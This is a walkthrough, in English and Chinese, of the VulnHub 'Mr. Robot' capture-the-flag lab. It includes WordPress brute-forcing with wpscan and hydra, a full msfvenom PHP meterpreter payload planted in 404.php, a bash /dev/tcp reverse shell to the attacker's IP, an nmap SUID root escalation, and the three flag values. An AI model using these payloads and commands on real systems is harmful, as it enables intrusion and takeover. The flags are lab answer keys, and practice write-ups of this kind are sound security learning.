vulnhub MrRobot
vulnhub mrRobot
Mr.Robot: a American television
record the process of hacking
vulnhub
https://www.vulnhub.com/entry/mr-robot-1,151/
use virtual box
set network bridge network
reference
https://www.youtube.com/watch?v=Wa88lk5Jygk&list=PLElHR9MODvudCR4xh3dqtUxXFfhPx19fo&index=3
https://medium.com/geekculture/vulnhub-mr-robot-35eac3078d5c
discover
netdiscover
1 | netdiscover -r 192.168.0.0/24 |
-r 192.168.0.0/24
: -r ip range目标网络地址范围。192.168.0.0/24
是一个 CIDR 表示法的网络地址,表示扫描192.168.0.0
到192.168.0.0
之间的所有 IP 地址。
rustscan
1 | rustscan -a 192.168.0.105 |
-a 192.168.0.105
: -a =IP address。在这里,192.168.0.105
是目标主机的 IP 地址。
dic bruteforce
from robot.txt get two file: - fsocity.dic -
flag
:key-1-of-3.txt
key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9
fsocity.dic
http://192.168.0.105/fsocity.dic
hash crack
https://crackstation.net/
sort
1 | sort -u fsocity.dic |
Sort and remove duplicates 删除重复项
word count
1 | wc fsocity.dic |
crack password
burpSuit
OWASP ZAP is same as burpSuit
intruder - intruder: Burp Suite 的一个功能,用于进行暴力破解、模糊测试等攻击测试。 get username: elliot get password: ER28-0652
wpscan
1 | wpscan --url http://192.168.0.105/ --passwords dic.txt --usernames elliot |
get password 1
2
3[!] Valid Combinations Found:
| Username: elliot, Password: ER28-0652
--url http://192.168.0.105/
: 指定要扫描的 WordPress 网站的 URL。在这里,http://192.168.0.105/
是目标网站的 URL。--enumerate u
: 指定要扫描的内容。在这里,u
表示扫描用户名。--enumerate p
: 指定要扫描的内容。在这里,p
表示扫描插件。--passwords dic.txt
: 指定密码字典文件的路径和文件名。在这里,密码字典文件是 "dic.txt",wpscan 将使用这个文件中的密码来尝试登录。--usernames elliot
: 指定要尝试登录的用户名为 "elliot"。
hydra
1 | hydra -vV -l elliot -P robotdic.txt 192.168.0.105 http-post-form |
hydra: 这是密码破解工具 Hydra 的命令行程序。
-vV: 这是 Hydra 的选项之一,用于显示详细信息。小写的
-v
表示详细输出,大写的-V
表示显示每次尝试的结果。-l elliot: 这是指定要尝试登录的用户名为 "elliot"。
-P robotdic.txt: 这是指定密码字典文件的路径和文件名。在这里,密码字典文件是 "robotdic.txt",Hydra 将使用这个文件中的密码来尝试登录。
192.168.0.105: 这是目标主机的IP地址,即要攻击的目标。
http-post-form: 这是 Hydra 攻击的模块之一,指定使用 HTTP POST 表单进行攻击。
get webshell
msfvenom
1 | msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4567 -f raw > shell.php |
-p php/meterpreter/reverse_tcp
: 指定要生成的 payload 类型。在这里,php/meterpreter/reverse_tcp
表示生成一个 PHP 脚本,该脚本会在目标主机上启动一个 meterpreter 会话,并通过 TCP 协议连接到指定的 IP 地址和端口。-f
raw: 指定输出格式为raw
格式,即原始的 payload 数据。LHOST=192.168.0.106
: 指定 payload 连接的 IP 地址。在这里,192.168.0.102
是攻击者的 IP 地址。LPORT=4567
: 指定 payload 连接的端口。在这里,4567
是攻击者监听的端口。
get webshell write shell.php to 404.php 1
/*<?php /**/ error_reporting(0); $ip = '192.168.0.106'; $port = 4567; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
php-reverse-shell
1 |
|
exec 函数: PHP 中的 exec 函数用于执行外部命令。在这里,exec 函数被用来执行一个命令字符串。
命令字符串:
/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.106/4567 0>&1'
- 当 PHP 执行这段代码时,它会调用
exec
函数来执行指定的命令。 - 命令中的
/bin/bash -c
启动了一个 bash shell,并通过-i
参数设置为交互模式。 - 接着,
>& /dev/tcp/192.168.0.106/4567
将 bash 的标准输出和标准错误都重定向到指定的 IP 地址和端口号上,这里假设攻击者已经在远程主机上监听了4567
端口。 0>&1
则将标准输入也重定向到与标准输出相同的地方,这样就建立了一个完整的双向连接。
msfconsole
1 | use exploit/multi/handler |
get 1
2
3
4
5
6msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.0.106:4567
[*] Sending stage (39927 bytes) to 192.168.0.105
[*] Meterpreter session 1 opened (192.168.0.106:4567 -> 192.168.0.105:60842) at 2024-07-24 02:28:06 -0400
get flag 1
2cat /home/robot/key-2-of-3.txt
822c73956184f694993bede3eb39f959
root privilege
python
1 | python -c 'import pty; pty.spawn("/bin/sh")' |
suid
1 | find / -perm /4000 -type f 2>/tmp/2 |
1 | find / -perm -u=s -type f 2>/dev/null |
get
1 | /bin/ping |
nmap
nmap version 3.81 bug 1
2nmap --interactive
!/bin/sh
get flag 1
2cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4